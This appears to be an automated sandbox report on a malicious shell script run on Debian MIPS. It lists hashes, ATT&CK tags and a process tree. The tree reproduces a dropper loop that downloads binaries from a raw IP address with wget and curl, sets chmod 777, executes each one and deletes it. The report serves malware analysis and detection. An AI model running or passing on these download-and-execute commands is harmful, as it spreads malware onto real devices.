bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22

Analysis

max time kernel
28s
max time network
121s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
23/08/2026, 03:00

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General

Target
bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
Size 1KB
Sample260823-dhkmrsscjc
SHA256 bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22
MD5 a96e245e326e9be23183f8931ff9815c
SHA1 363a9915ea3795081da6bcabcccdf80c64dd79ca
SHA512 b20efe6bb02124cd19cad17f999fd4cd1516ec83fe946faa9e8d8537b6fcb20e09f2efccc613086ddaa43d65dcbe16bfb1cc4bf62760cd9792f79d57b6d25949
TLSH
T18B3163DF01100B321502CE5E72B6B94CB14DA5FB2C9FD7D598584DF8828939CF265B9A
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
754	chmod
762	chmod
778	chmod
797	chmod
820	chmod
834	chmod
848	chmod
745	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/1d4cd0	746	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/cc4988	755	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/ebd56d	779	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/060125	799	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/519732	821	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/731136	835	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/8614d2	849	bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh

Reads runtime system information 8 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/cc4988	curl
File opened for modification	/tmp/ebd56d	curl
File opened for modification	/tmp/060125	curl
File opened for modification	/tmp/519732	curl
File opened for modification	/tmp/731136	curl
File opened for modification	/tmp/8614d2	curl
File opened for modification	/tmp/1d4cd0	curl

/tmp/bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
/tmp/bef37f09216adbdbe3702214ad191d3d9895996b70810e81bb8a1dd05633bc22.sh
1⤵
- Executes dropped EXE
PID:719
- /usr/bin/wget
  wget http://5.182.210.174/1d4cd0
  2⤵
  PID:723
- /usr/bin/curl
  curl -O http://5.182.210.174/1d4cd0
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 1d4cd0
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/1d4cd0
  ./1d4cd0 bc
  2⤵
  PID:746
- /bin/rm
  rm -rf 1d4cd0
  2⤵
  PID:749
- /bin/rm
  rm -rf 1d4cd0.1
  2⤵
  PID:750
- /usr/bin/wget
  wget http://5.182.210.174/cc4988
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://5.182.210.174/cc4988
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:753
- /bin/chmod
  chmod 777 cc4988
  2⤵
  - File and Directory Permissions Modification
  PID:754
- /tmp/cc4988
  ./cc4988 bc
  2⤵
  PID:755
- /bin/rm
  rm -rf cc4988
  2⤵
  PID:757
- /bin/rm
  rm -rf cc4988.1
  2⤵
  PID:758
- /usr/bin/wget
  wget http://5.182.210.174/573979
  2⤵
  PID:759
- /usr/bin/curl
  curl -O http://5.182.210.174/573979
  2⤵
  - Reads runtime system information
  PID:760
- /bin/chmod
  chmod 777 573979
  2⤵
  - File and Directory Permissions Modification
  PID:762
- /tmp/573979
  ./573979 bc
  2⤵
  PID:763
- /bin/rm
  rm -rf 573979
  2⤵
  PID:764
- /bin/rm
  rm -rf 573979.1
  2⤵
  PID:765
- /usr/bin/wget
  wget http://5.182.210.174/ebd56d
  2⤵
  PID:766
- /usr/bin/curl
  curl -O http://5.182.210.174/ebd56d
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:769
- /bin/chmod
  chmod 777 ebd56d
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/ebd56d
  ./ebd56d bc
  2⤵
  PID:779
- /bin/rm
  rm -rf ebd56d
  2⤵
  PID:782
- /bin/rm
  rm -rf ebd56d.1
  2⤵
  PID:784
- /usr/bin/wget
  wget http://5.182.210.174/060125
  2⤵
  PID:785
- /usr/bin/curl
  curl -O http://5.182.210.174/060125
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:790
- /bin/chmod
  chmod 777 060125
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/060125
  ./060125 bc
  2⤵
  PID:799
- /bin/rm
  rm -rf 060125
  2⤵
  PID:802
- /bin/rm
  rm -rf 060125.1
  2⤵
  PID:803
- /usr/bin/wget
  wget http://5.182.210.174/519732
  2⤵
  PID:804
- /usr/bin/curl
  curl -O http://5.182.210.174/519732
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:811
- /bin/chmod
  chmod 777 519732
  2⤵
  - File and Directory Permissions Modification
  PID:820
- /tmp/519732
  ./519732 bc
  2⤵
  PID:821
- /bin/rm
  rm -rf 519732
  2⤵
  PID:824
- /bin/rm
  rm -rf 519732.1
  2⤵
  PID:825
- /usr/bin/wget
  wget http://5.182.210.174/731136
  2⤵
  PID:827
- /usr/bin/curl
  curl -O http://5.182.210.174/731136
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 731136
  2⤵
  - File and Directory Permissions Modification
  PID:834
- /tmp/731136
  ./731136 bc
  2⤵
  PID:835
- /bin/rm
  rm -rf 731136
  2⤵
  PID:837
- /bin/rm
  rm -rf 731136.1
  2⤵
  PID:838
- /usr/bin/wget
  wget http://5.182.210.174/8614d2
  2⤵
  PID:839
- /usr/bin/curl
  curl -O http://5.182.210.174/8614d2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:840
- /bin/chmod
  chmod 777 8614d2
  2⤵
  - File and Directory Permissions Modification
  PID:848
- /tmp/8614d2
  ./8614d2 bc
  2⤵
  PID:849
- /bin/rm
  rm -rf 8614d2
  2⤵
  PID:852
- /bin/rm
  rm -rf 8614d2.1
  2⤵
  PID:853
- /usr/bin/wget
  wget http://5.182.210.174/f2ee8c
  2⤵
  PID:855

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

1d4cd0

Path /tmp/1d4cd0
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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